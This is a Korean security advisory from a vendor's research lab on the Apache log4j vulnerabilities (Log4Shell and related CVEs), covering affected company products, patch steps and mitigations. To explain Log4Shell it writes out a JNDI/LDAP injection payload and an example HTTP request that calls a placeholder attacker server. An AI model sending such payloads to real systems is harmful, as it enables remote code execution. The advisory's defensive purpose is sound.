1. 개요

본 문서는 ㈜시큐레이어 기술연구소에서 작성한 Apache log4j 보안취약점에 대한 보고서입니다.
최근 log4j v2.x에서 발견된 Log4Shell 취약점(CVE-2021–44228, CVE-2021-44832), DoS취약점(CVE-2021-45046, CVE-2021-45105)과 log4j v1.x에 존재하는 JMSAppender 관련 원격코드 실행 취약점(CVE-2021-4104)에 대한 상세한 설명 및 대응방법을 설명하는 문서입니다.

1) 목적

이 문서의 작성목적은 다음과 같습니다.

- log4j 설명
- log4j 취약점 설명
- 자사 제품 취약점 확인방법
- 취약점 대응방안 설명

2) 문서 참조자

- ㈜시큐레이어 임직원/고객사/총판/파트너
- 자사제품 개발/구축/운영/유지보수 담당자

3) 적용범위

- 자사제품 개발, 구축, 운영 및 유지보수

2. Apache log4j란?

log4j는 Apache Software 재단에서 개발한 Java 기반의 로깅 라이브러리(jar)로 대부분의 Java Application 프로그램에서 로깅 유틸리티로 사용 중인 소프트웨어입니다.

1) log4j 특징

log4j는 버전별로 차이는 있지만 일반적으로 다음과 같은 특징(장점)을 가지고 있습니다.

- 속도에 최적화된 빠른 성능 
- Thread-safe 즉, Multi-Thread 환경에서도 안전
- properties, xml 형식의 설정 파일을 지원하며 실행 중 Application을 restart하지 않고도 수정 및 적용이 가능
- 로그출력을 File, Console, Remote Server, DB 등 다양한 방식으로 내보낼 수 있고 심지어 Email로도 보낼 수 있음
- 로그 출력 량 및 중요도에 따른 6단계(TRACE < DEBUG < INFO < WARN < ERROR <  FATAL)의 로깅 레벨을 사용가능
- Layout클래스를 확장함으로써 로그 출력 형식을 쉽게 바꿀 수 있음
- 로그 출력 대상과 방식을 Appender 인터페이스로 다양하게 설정 가능

위와 같은 특징 및 장점 때문에 대부분의 Java Application에서 로깅 유틸리티로 널리 활용되고 있습니다.

2) log4j v1.2.x

log4j v1.2.x 버전은 아래와 같이 라이브러리(jar) 파일 1개만 참조하면 사용이 가능합니다.

(1) 라이브러리(jar) 파일

- log4j-1.2.16.jar : Log4j 라이브러리 파일

(2) 사용 예

다음은 log4j v1.2.x 버전의 로깅 레벨, 출력타입 및 로깅 포맷 설정을 위한 Property 파일(log4j.properties) 설정 예제입니다.

위와 같이 Property 파일을 정의하고 Application 내에서 직접 설정 파일의 경로를 참조해주거나 아래 그림과 같이 Java VM 파라미터를 이용하여 경로 설정을 해주면 설정이 적용됩니다.

아래 그림은 log4j v1.2.x 사용 예 입니다.

위 사용 예와 같이 Logger 객체를 정의해주고 개발자가 필요에 따라 로깅 레벨을 판단하여 Application 내에 코딩하면 log4j.properties 설정에 따라 로그가 출력됩니다.
Log4j는 특징에서 설명한 바와 같이 6단계(TRACE < DEBUG < INFO < WARN < ERROR < FATAL)의 로깅 레벨을 사용 가능하며 log4j.properties 로깅 레벨 설정 부분에 6단계 중 임의의 로깅 레벨을 설정하면 설정레벨 이상의 Application에 설정한 모든 로그가 출력됩니다.
예를 들면 TRACE는 모든 로그레벨이 출력되어 로그 출력량이 가장 많고 아래 그림과 같이 INFO로 설정하면 INFO/WARN/ERROR/FATAL 등 설정한 레벨을 포함하여 상위 레벨의 모든 로그가 출력됩니다.

아래 이미지는 실제 Application을 실행하여 log4j.properties 설정에따라 로그가 출력된 예제입니다.

위와 같이 log4j.properties 설정 만으로 로깅 경로, 레벨 및 출력타입 등 로깅 관련 다양한 설정을 제어가 가능합니다.

3) log4j v2.x

log4j v2.x 버전은 v1.2.x 버전에 비해 기능/성능 측면에서 많은 부분이 개선되었습니다. 특히 호환성 보장을 위해 라이브러리를 Core와 API로 분리하였고 비동기 방식의 Logger가 추가되어 성능이 10배 이상 향상되었으며 운영 중에도 필요에 따라 Property 설정을 변경하면 Application 재 기동 없이 자동으로 설정을 갱신하는 기능 등 많은 부분이 개선되었습니다.

(1) 라이브러리(jar) 파일

- log4j-api-2.17.1.jar : Log4j API 라이브러리 파일
- log4j-core-2.17.1.jar : Log4j Core 라이브러리 파일

(2) 사용 예

다음은 log4j v2.x 버전의 로깅 레벨, 출력타입 및 로깅 포맷 설정을 위한 Property 파일(log4j.properties) 설정 예제입니다.

위와 같이 v1.2.x 대비 많은 기능이 개선됨에 따라 Property 파일 설정 항목이 추가되었으며 아래 그림과 같이 Java VM 파라미터를 이용하여 경로 설정을 해주면 설정이 적용됩니다.

  • v2.x의 경우 아래 그림처럼 Application 코드내에서 log4j.properties 경로를 직접설정 하는 경우 컴파일 오류가 발생합니다.

    아래 그림은 log4j v2.x의 사용 예제입니다.

    위 그림에서 보듯이 v2.x에서는 v1.2.x와 달리 Logger객체 참조경로가 변경되었고 Logger 객체 생성 부분의 객체 생성자가 Logger에서 LogManager로 변경되었음을 알 수 있습니다.
  • 위와 같이 Logger 객체의 참조경로 변경 및 객체 생성부의 변경으로 인해 v1.x에서 v2.x로 마이그레이션을 위해서는 원칙적으로 모든 소스를 변경해야 하나 이런 문제를 해결하기 위해 소스코드 변경없이 v1.2.x에서 v2.x를 사용할 수 있도록 해주는 API 라이브러리(log4j-1.2-api-2.17.1.jar)를 제공합니다.
  • 5장 대응방안에서 log4j-1.2-api-2.17.1.jar를 활용하여 소스코드 변경 없이 log4j v1.2.x에서 v2.x로 업그레이드 상세설명

3. 버전 별 log4j 보안취약점

Log4j 관련 알려진 보안취약점은 최근 이슈가 된 v2.x의 경우 JndiLookup 기능을 이용한 Log4Shell(RCE, 원격코드 실행) 취약점과 서비스거부공격(DDoS) 취약점이 알려져 있고 v1.2.x의 경우 JMSAppender를 이용한 원격코드 실행 취약점이 알려져 있습니다. 상세한 내용은 다음과 같습니다.

1) 한국인터넷진흥원(KISA) 공지

다음은 한국인터넷진흥원(KISA)에서 공지(2021-12-15 기준)한 log4j 버전 별 취약점 내용과 대응방안 내용입니다.



위 한국인터넷진흥원(KISA) log4j 관련 보안공지 내용을 요약하면 다음과 같습니다.

[ log4j v2.x 요약 ]

- 원격코드 실행 취약점 및 서비스거부 취약점 4가지(2021-12-29일 CVE-2021-44832 추가) 존재
- 대응방안
 : Java 8 이상 - Log4j 2.17.1 이상 버전으로 업데이트
 : Java 7 - Log4j 2.12.4 이상 버전으로 업데이트
 : Java 6 - Log4j 2.3.2 이상 버전으로 업데이트

* 최초 Log4Shell 취약점 대응을 위해 v2.15.0, v2.16.0 등으로 업그레이드 권고하였으나
   나중에 서비스거부 취약점이 추가로 발견되어 v2.17.1으로 업그레이드 권고
* Log4j-core JAR 파일 없이 log4j-api JAR 파일만 참조하는 경우 취약점 영향 없음

[ log4j v1.x 요약 ]

- 원격코드 실행 취약점 1가지가 존재하며 대응방안은 v2.x와 동일
* JMSAppender를 사용하지 않는 경우 취약점 영향 없음

2) Log4j v2.x 취약점

Log4j v2.x에는 아래와 같은 원격코드 실행 취약점과 서비스거부 취약점이 존재하며 상세한 내용은 아래와 같습니다.

(1) 원격코드 실행(CVE-2021–44228, Log4Shell) 취약점

이 취약점은 Log4Shell이라는 이름으로 명명되었으며 Log4j v2.x 배포파일에 포함된 JNDI LDAP 프로토콜 Lookup을 이용 공격자가 로그 메세지를 통해 원격 코드 실행(RCE, Remote Code Execution)이 가능한 취약점입니다. 영향을 받는 버전은 2.0-beta9 ~ 2.14.1 버전 (Log4j 2.12.4 제외) 이며 아래 그림은 log4j2의 배포파일 내에 Log4Shell 취약점이 존재하는 클래스파일(org/apache/logging/log4j/core/lookup/JndiLookup.class) 입니다.

[ Log4Shell 취약점 파일 ] 취약점 트리거 방법은 다음과 같습니다.

1) ${jndi:ldap://[ATTACKER_SERVER/MALICIOUS_CLASS}를 넣은 페이로드를 request로 전송
2) 서버에서 JNDI 인터페이스에 명시된 request 생성
3) 공격자는 해당 request에 공격용 자바 클래스를 업로드하여 공격 수행 가능

다음은 공격 패킷 예시입니다.

GET /test HTTP/1.1
HOST: [TARGET_SERVER]
User-Agent: *{jndi:ldap://[ATACKER_SERVER/MALICIOUS_CLASS]}

(2) 서비스거부(CVE-2021-45046) 취약점

본 취약점은 최근 발생한 Log4Shell 취약점 대응을 위해 신규 배포된 Log4j2 v2.15.0 버전에서 신규 취약점이 발견되었으며 영향을 받는 버전은 2.0-beta9 ~ 2.12.1 및 2.13.0 ~ 2.15.0 버전입니다. 신규로 발견된 취약점은 공격자가 로그 메세지를 통해 서비스 거부 오류(DOS, Denied of Service)를 발생시킬 수 있는 취약점입니다.

  • v2.15.0에서는 DOS공격이 가능하고, v2.14.1 이하에서는 NO_LOOKUPS를 설정한 RCE(Remote Code Execution)공격이 가능합니다.
  • 아파치는 CVE-2021-45046 취약점이 패치 된 v2.16.0버전을 배포 하였고 메시지 조회 패턴에 대한 지원을 제거하고 JNDI 기능에 대해 비활성화 하여 적용하였다고 합니다.
  • 이후 추가로 CVE-2021-4104, CVE-2021-44832 취약점이 발견되어 v2.17.1버전을 배포하였습니다.
  • NIST 취약점 정보 참고
    https://nvd.nist.gov/vuln/detail/CVE-2021-45046

(3) 서비스거부(CVE-2021-45105) 취약점

취약점 공격은 Log4j를 사용하는 응용 프로그램에서 "layout pattern"과 "쓰레드 컨텍스트 기능"이 사용되는 경우 발생할 수 있습니다. 로깅 구성에서 컨텍스트 룩업이 포함된 패턴 레이아웃(예: ${ctx:loginId})을 사용하면 MDC(Thread Context Map) 입력 데이터를 제어하는 공격자가 재귀 룩업을 포함하는 악의적인 입력 데이터를 조작하여 프로세스를 종료할 수 있습니다.

* 신규 업데이트가 불가능할 경우 아래의 조치방안으로 조치 적용
  - ${ctx:loginId} 또는 $${ctx:loginId}를 제거

이번 "CVE-2021-45105"에 영향을 받는 제품 버전은 "Log4j 2.0-beta9 ~ 2.16.0" 버전입니다.

(4) 원격코드 실행(CVE-2021-44832, JDBCAppender) 취약점

본 취약점은 공격자가 로깅 구성을 수정할 때 JDBC Appender를 통해 임의의 코드 실행을 허용할 수 있는 취약점입니다.
최근 발생한 Log4Shell 취약점 대응 2.17.0버전 이후 발견된 원격 코드 실행 취약점으로
영향을 받는 버전은 2.0-alpha7에서 2.17.0까지의 모든 Log4j 버전입니다.

  • 아파치는 2021년 12월 29일 CVE-2021-44832 취약점이 패치 된 2.17.1버전을 배포 하였습니다.

3) Log4j v1.2.x 취약점

Log4j v1.2.x에는 아래와 같은 원격코드 실행 취약점이 존재하며 상세한 내용은 아래와 같습니다.

(1) 원격코드(CVE-2021-4104, JMSAppender) 실행 취약점

본 취약점은 JMSAppender의 신뢰할 수 없는 데이터의 역직렬화(Deserialization) 취약성을 활용하여 공격자가 로그 메세지를 통해 원격 코드 실행이 가능한 취약점입니다.이 결함은 JMSAppender를 사용하도록 특별히 구성된 경우에만 영향을 미치거나 공격자의 JMS 브로커에 JMSAppender를 추가하기 위한 log4j.properties에 대한 쓰기 액세스 권한이 공격자에게 있는 경우에만 영향을 미칠 수 있으므로 악용할 수 있는 조건이 제한적임에 따라 log4j v2.x의 Log4Shell보다는 위험도가 훨씬 낮다고 평가하고 있습니다.

4. 자사제품 영향도

본 장에서는 기 출시된 ㈜시큐레이어의 제품별 버전별로 어떤 버전의 log4j를 사용하고 있고 어떤 취약점이 존재하는지 log4j 취약점 영향도를 설명합니다.

1) 제품별 log4j 버전확인 방법

제품별 log4j 버전 확인방법은 라이브러리(jar) 설치경로로 이동하여 ls 명령어를 이용하여 확인이 가능합니다. 제품 별 및 버전 별 log4j 설치경로는 아래와 같습니다.


아래와 같이 리눅스의 cd 명령을 이용하여 log4j가 설치된 경로로 이동한 후 ls -al *log4j* 명령을 이용하여 버전 확인이 가능합니다.

2) 제품별 / 버전별 영향도

자사의 모든 제품대상 영향도 확인결과 eyeCloudAI v2.x 버전에서는 log4j v1.2.x 버전을 사용 중이고 eyeCloudAI v3.x 버전의 일부 모듈(log-filter/job-executor/job-scheduler)에서 이슈가 존재하는 v2.13.0 버전의 Log4j2를 사용 중임이 확인되었습니다. eyeCloudAI를 제외한 SIEM/SOAR/BlueBird/IRIS4의 경우에는 v1.2.x 사용 중임이 확인되었습니다.
아래는 제품 별, 버전 별 log4j 사용 버전을 정리한 표입니다.

[ 제품 별 log4j 사용버전 ]

  • log4j v1.2.x를 사용하는 모든 제품은 아래 log4j.properties 설정에서 본 바와 같이 취약점이 존재하는 JMSAppender를 사용하지 않아 취약점 패치 대상은 아님을 확인할 수 있습니다.
    (3장의 한국인터넷진흥원 보안공지 내용 참고)

  • 또한 아래 그림과 같이 eyeCloudXOAR에 탑재된 log4j v2.x(log4j-api-2.x.0.jar)는 Core 라이브러리(log4j-core-2.x.0.jar)가 없는 API 라이브러리여서 취약점 대상이 아님을 확인할 수 있습니다.
    (3장의 한국인터넷진흥원 보안공지 내용 참고)

5. 대응방안

자사에서는 위 제품별 log4j 버전조사 및 영향도 조사 결과를 기반으로 2단계로 대응할 계획입니다.
1단계는 log4j v2.x를 사용중인 eyeCloudAI v3.x가 배포된 고객사를 긴급조치 대상으로 보고 우선적으로 고객사와 일정 조율 후 엔지니어가 직접 방문하여 패치를 적용할 예정이며, 2단계로 log4j v1.2.x는 자사의 경우 문제가 되는 JMSappender를 사용하지 않아 취약점 대상은 아니나 장기적인 관점에서 한국인터넷진흥원(KISA)의 권고대로고객사를 대상으로 유지보수 일정을 고려하여 일정 조율 후 패치를 적용할 계획입니다.
아래는 log4j 버전 별 상세한 취약점 패치 방법을 설명합니다.

1) Log4j v2.x 사용제품의 경우

Log4Shell 취약점 및 DoS 취약점이 존재하는 Log4j v2.x를 사용하는 제품은 위 장에서 본 바와 같이 eyeCloudAI v3.x 버전으로 확인이 되었으며 패치방법은 아래와 같은 단계로 진행하면 됩니다.

(1) 관련 모듈

eyeCloudAI 모듈 중 패치대상이 되는 Log4j v2.x를 사용하는 모듈은 log-filter/job-executor/job-scheduler 3가지 모듈입니다.

(2) 패치 대상파일 교체

eyeCloudAI log4j가 설치된 경로(4장 제품별 log4j 설치경로 참고)로 이동하여 기존 v2.13.0 버전의 파일들을 삭제하고 취약점이 개선된 v2.17.1 버전의 파일들을 업로드 합니다.

(3) CLASSPATH 업데이트

아래와 같은 3개 모듈(log-filter/job-executor/job-scheduler)의 라이브러리 설정파일 및 실행 Shell Script를 열어 CLASSPATH를 v2.13.0에서 v2.17.1으로 업데이트 합니다.

- /eyeCloudAI/app/lib/lib_log-filter
- /eyeCloudAI/app/job/executor/executor.sh
- /eyeCloudAI/app/job/scheduler/scheduler.sh

위와 같이 적용한 후 해당 모듈을 재 기동하면 패치 적용이 완료됩니다.

  • 상세한 패치파일 및 패치문서 별도 제공예정

(4) 임시조치 방안

위와 같은 업데이트 패치적용이 불가한 경우 임시조치 방법은 아래와 같습니다. 리눅스의 zip 명령어를 이용하여 log4j-core-2.13.0.jar 파일에서 문제가 되는 JndiLookup.class를 제거하는 방법이며 명령어는 아래와 같습니다.

 #> cd /eyeCloudAI/app/lib      <- 설치경로 이동
 #> zip -q -d log4j-core-2.13.0.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

2) log4j v1.2.x 사용제품의 경우

eyeCloudAI v2.x와 SIM/XOAR/BB/iRIS4 등은 모두 log4j v1.2.x를 사용 중이나 위에서 설명한 바와 같이 JMSAppender를 사용하지 않아 취약점 패치 대상은 아닙니다. 하지만 log4j v1.2.x 버전의 경우 Apache에서 추가적인 업데이트 지원 중지로 인해 다른 보안위협에 노출될 가능성이 높아 최신버전으로 업데이트 적용을 권고합니다.
(3장의 한국인터넷진흥원 보안공지 내용 참고)
2장에서 설명한 바와 같이 Logger 객체의 참조경로 변경 및 객체 생성부의 변경으로 인해 v1.x에서 v2.x로 마이그레이션을 위해서는 원칙적으로 모든 소스를 변경해야 하나 이런 문제를 해결하기 위해 소스코드 변경없이 v1.2.x에서 v2.x를 사용할 수 있도록 해주는 API 라이브러리(log4j-1.2-api-2.17.1.jar)를 활용합니다.
단 2장의 log4j v2.x 사용 예에서 설명한 바와 같이 log4j.properties를 v2.x용으로 업데이트 해주어야 하고 Application 실행 Shell 스크립트의 JVM 파라미터에 해당 파일경로 설정을 추가해 주어야합니다.

log4j v1.2.x에서 v2.x로 업데이트 방법은 아래와 같은 절차로 이루어집니다.

(1) 패치 대상파일 교체

기존 버전의 log4j-1.2.16.jar 파일을 삭제하고 취약점 패치가 적용된 아래 v2.17.1 버전의 3개 라이브러리 파일들을 업로드 합니다.

(2) JVM 파라미터 Property 경로 설정

소스코드 상의 Property 경로 설정은 무시되므로 아래 그림과 같이 JVM 파라미터에 log4j.properties설정 파일의 경로를 설정(-Dlog4j.configurationFile=./conf/log4j.properties)합니다.


위와 같이 설정 후 Application을 재 기동하면 패치적용이 완료됩니다.

  • 상세한 패치파일 및 패치문서 별도 제공예정

3) 제품별 패치정보

log4j 취약점 관련 제품별 패치파일 및 상세한 패치방법은 아래 링크를 참고하시기 바랍니다.

6. 개선방안

log4j 뿐 만아니라 logback 로깅유틸도 취약점이 속속 발견되는 상황에서 자사는 향후 출시되는 모든 제품에 취약점이 해결된 최신 버전을 사용할 예정이며 소프트웨어 관점에서도 특정 로깅유틸 의존성을 완전히 제거(slf4j Wrapper 활용)하여 코드변경 없이 Config 설정만으로 로깅 유틸리티 변경이 가능하도록 개선할 계획입니다.


위 그림과 같이 slf4j Wrapper를 활용하면 log4j 뿐만이 아니라 logback/Simple Logging Implementation/Jakarta Commons logging framework/java.util.logging framework 등 다양한 로깅유틸을 설정으로 변경이 가능합니다.

상세한 변경 방법은 아래와 같습니다.

(1) slf4j wrapper 라이브러리 추가

아래 그림과 같이 두개의 slf4j wrapper 라이브러리(log4j-slf4j-impl-\n0.jar, slf4j-api-1.7.32.jar)를 추가합니다.

(2) 소스변경

아래 그림과 같이 모든 소스코드의 기존 log4j 참조를 slf4j로 변경하고 Logger 객체 선언부를 slf4j의 LoggerFactory로 변경해주면 됩니다.